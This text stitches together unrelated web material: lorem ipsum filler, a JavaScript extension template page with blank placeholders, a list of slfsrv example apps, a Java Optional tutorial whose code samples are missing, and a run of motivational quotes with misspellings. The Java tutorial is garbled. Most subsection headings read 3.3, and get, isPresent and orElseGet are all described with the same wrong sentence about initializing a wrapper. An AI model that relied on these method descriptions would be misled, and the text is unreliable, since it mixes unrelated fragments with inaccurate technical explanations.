Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus imperdiet, nulla et dictum interdum, nisi lorem egestas odio, vitae scelerisque enim ligula venenatis dolor. Maecenas nisl est, ultrices nec congue eget, auctor vitae massa. Fusce luctus vestibulum augue ut aliquet. Mauris ante ligula, facilisis sed ornare eu, lobortis in odio. Praesent convallis urna a lacus


Music Object Extension - Template
|
|
...
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What's New in the Latest Version
|
There is a dedicated version history for this extension, where you will be able to find out about the new features and possible issues with the most recent version. The version history for this extension is independent of the version history for the core Music Object API.
To get the "music-object-x-template.js" JavaScript file that implements this extension, simply right-click on this link (click-and-hold for Mac users). Then, from the menu that pops up, select the 'Save Link As...' or 'Save Target As...' option and save the file as "music-object-x-template.js" into an appropriate folder of the local copy of your Web site.
In case you have problems saving the file using the above link, the "music-object-x-template.js" file can also be found inside the documentation's "javascript" folder, along with the "music-object.js" file.
In order to use this extension, the following JavaScript file(s) must first be sourced in...
- music-object.js (version 3.3.0 or higher)
For more information on using extensions, consult the section About Music Object Extensions.
The instance method...
| |
( ) |
- When a value of is specified for the parameter, then .
The instance property...
The Music. static method...
| |
Music. ( ) |
- When a value of is specified for the parameter, then .
The Music. static property...


loading...
Problem: EXAMPLES.html must be executed from the "slfsrv" executable, and
not simply as a web page in the browser.
For example, from the command line you might execute:
> slfsrv EXAMPLES.html
Problem: jquery did not get loaded locally.
EXAMPLES.HTML needs to be executed from the full slfsrv download, including those
samples in the "examples" subdirectory.
For example, from the command line you might execute:
> slfsrv EXAMPLES.html
Example slfsrv applications and commands
EXAMPLE APPLICATIONS BUILT WITH HTML/JS/CSS USING THE BROWSER FOR UI:
A few examples built with slfsrv:
-
hello-world -
very minimal example
-
globals -
display the values in the SLFSRV global
-
cmd-shell -
a simple command-line tool using your browser as the UI to demonstrate the
SLFSRV.exec() method (with command-line completion)
Examples to test individual slfsrv features:
-
store-test -
a short test of the SLFSRV.store() calls, which allow permanent data store on your
local computer
-
file-and-dir-test -
a short test of the SLFSRV.dir... and SLFSRC.file... calls, which allow reading and writing of
your local file system
-
tempdir-test -
a short test of the SLFSRV.tempdir, which both creates temporary directories and can initialize
them with data from bundled or compiled slfsrv sources
- js lib can be used as nested onsuccess/onerror callbacks or using Javascript Promises (.then().then().then()...)
- directory listing
callback-version -
run pyramid-style using onsuccess/onerror callbacks
- directory listing
promises-version -
run Javascript Promises version of all calls
-
video-test -
test ServeContent and byte ranges in delivering a video
EXAMPLE COMMAND OPTIONS


Java 8 has provided a very strong feature to write code in a better and cleaner way. This can be used to easily replace our null but should it be used everywhere? And with this, we get a question about When to use Java Optional Class.
1. What is Java Optional Class?
Java optional is a generic class, It is a wrapper around another classes object and provides a set of methods.
As you can it has variable value and later that value can be retrieved using get. It has some other important methods which we will discuss later in this blog. Here is a basic example of how we can use Java Optional class.
So what the difference between method one and method two, Method 2 doesn’t require ‘null’ keyword but does it look like it has reduced your code and it’s better to read( Different people different opinion)? I feel it’s waste of time to use method 2 here. Then,
2. When to use Java Optional Class?
Let’s start by example.
Here we created nested classes and method 1 shows how to null check and get the end value while method 2 use Optional class and its map method to transform the input to an output variable, In the end, we used orElse method to return if everything is null.
Here definitely we can say Optional way handling nulls is more readable and less code. If we conclude we can single whenever there is nested null checks better to wrap the object in Java Optional class and use it rather then writing ugly null check code and in case of one time null check use our oldy goldy null check.
Let discuss more on Optional class.
3. Java Optional Class Instantiation
3.1 Initiate an empty Optional
This is used when you want to start with an empty/null value Optional wrapper.
3.2 Initiate Optional with an object.
This is used when you want to initialize wrapper with an object, but object can’t be null.
3.3 Initiate Optional with a nullable object.
This is used when you want to initialize wrapper with an object and object can be null.
##3. Java Optional Class Methods
3.3 Get the value of Optional.
This is used when you want to initialize wrapper with an object and object can be null.
3.3 Check if the value is present in Optional.
This is used when you want to initialize wrapper with an object and object can be null.
3.3 Call consumer if the value is present.
This is used for terminal operations, what to do if the value is there probably print it. A consumer is a functional interface having only one method which accepts a value and returns nothing.
3.3 Conditional check.
Filters are used to run some predicates on Optional value which return either true or false. Based on predicate result it returns either the same Optional value or empty Optional.
3.3 Map Optional value to another Optional
Map function takes a functional interface which takes T parameter and return R another parameter.
3.3 If null then return another value
This function takes a parameter and returns the passed parameter when the optional value is null.
3.3 If null then return the value generated by the supplier.
This is used when you want to initialize wrapper with an object and object can be null.
4. Conclusion
In this blog, we have discussed when to use Java Optional class and what are the important method in this class. This is it about the blog When to use Java Optional Class.


"Always remember
More clear you are
On what you want
The more power you will have
To achieve it "
"Spend so much time
In improving yourself
That you have no time left
To criticize others"
"What is SUCCESS??
It is being able
To go to bed each time
With your soul at peace"
"Morning is not only sunrise
But a miracle
Of god that defeats
Darkness and spreads light"
"God Asked what is Forgiveness
A little girl gave a lonely reply
It is a wonderful fruit that a tree
Gives when it is hurt by a stone"
"You will not be punshied
For your anger
You will be punshied
By your anger"
"On the path of success
Always lies big O's
Many read them as obstacles
Only few
Read them as OPPORTUNITIES"
"Sometimes saying sorry is
The most difficult thing on earth
But it is the cheapest thing
To save the most expensive gift
Called relationship"
"Kill the stress
Before it kills you
Reach the goal
Before it kicks you
Help everyone
Before someone helps you
Live the life before it leaves you!!"
"To taste the sweetness of life
One must have the power
To forget the past"
"Every smile can touch
Someone's heart
And no one is born happy
But all of us are born
With the ability
To create happiness
Be happy forever"
"A great thinker was asked
What is the meaning of life
He replied life has no meaning
Life is an oppurtunity
To create a meaning"
"Two primary choices in life
To accept the conditions as they exist
Or accept the responsibility
To change them"
"When it is obvious
That the goals cannot be reached
Don't adjust the goals
Adjust the action steps"
"Depression in failure
Should never go to the heart
And ego in Success
Should never go to head"
"If you wait to be happy
You will wait forever
If you start to be happy
You will be
Happy forever"
"Hope is like the sun
When we journey toward it
Casts the shadow of our burden
Behind us"
"If my mind can conceive it
And
My heart can believe it
I know
I can achieve it"
"The four looks
Look back and get experience
Look forward and see hope
Look around and find reality
Look within and be confident"
"The future belongs to those
Who prepare for it
Trust yourself you know
More than you thik you do"
"If you can imagine it
You can achieve it
If you can dream it
You can become it"
"Hard fact of life
Lord Buddha left his palace
In search of a Peace and
We all are in search of a Palace
At the cost of Peace"
"The drops of rain
Make a hole in the stone
Not by violence
But by continuous falling"
"The tongue
Is like a sharp knife
It kills
Without drawing blood"
"Anger and rudeness
Is false show of strength
By a weak person
While politeness and cool mind
Reflects dignity and strength
Of a strong person"
"When you focus on problems
You will have more problems but
When you focus on possibilities
You will have more oppurtunities"
"Dream give rise to hope
Hope inspires effort
Effort results in success
So Dreams are root of SUCCESS"
"Profound joy of the heart
Is like a magnet
That indicates
The path of life"
Hope you all have enjoyed reading the quotations.
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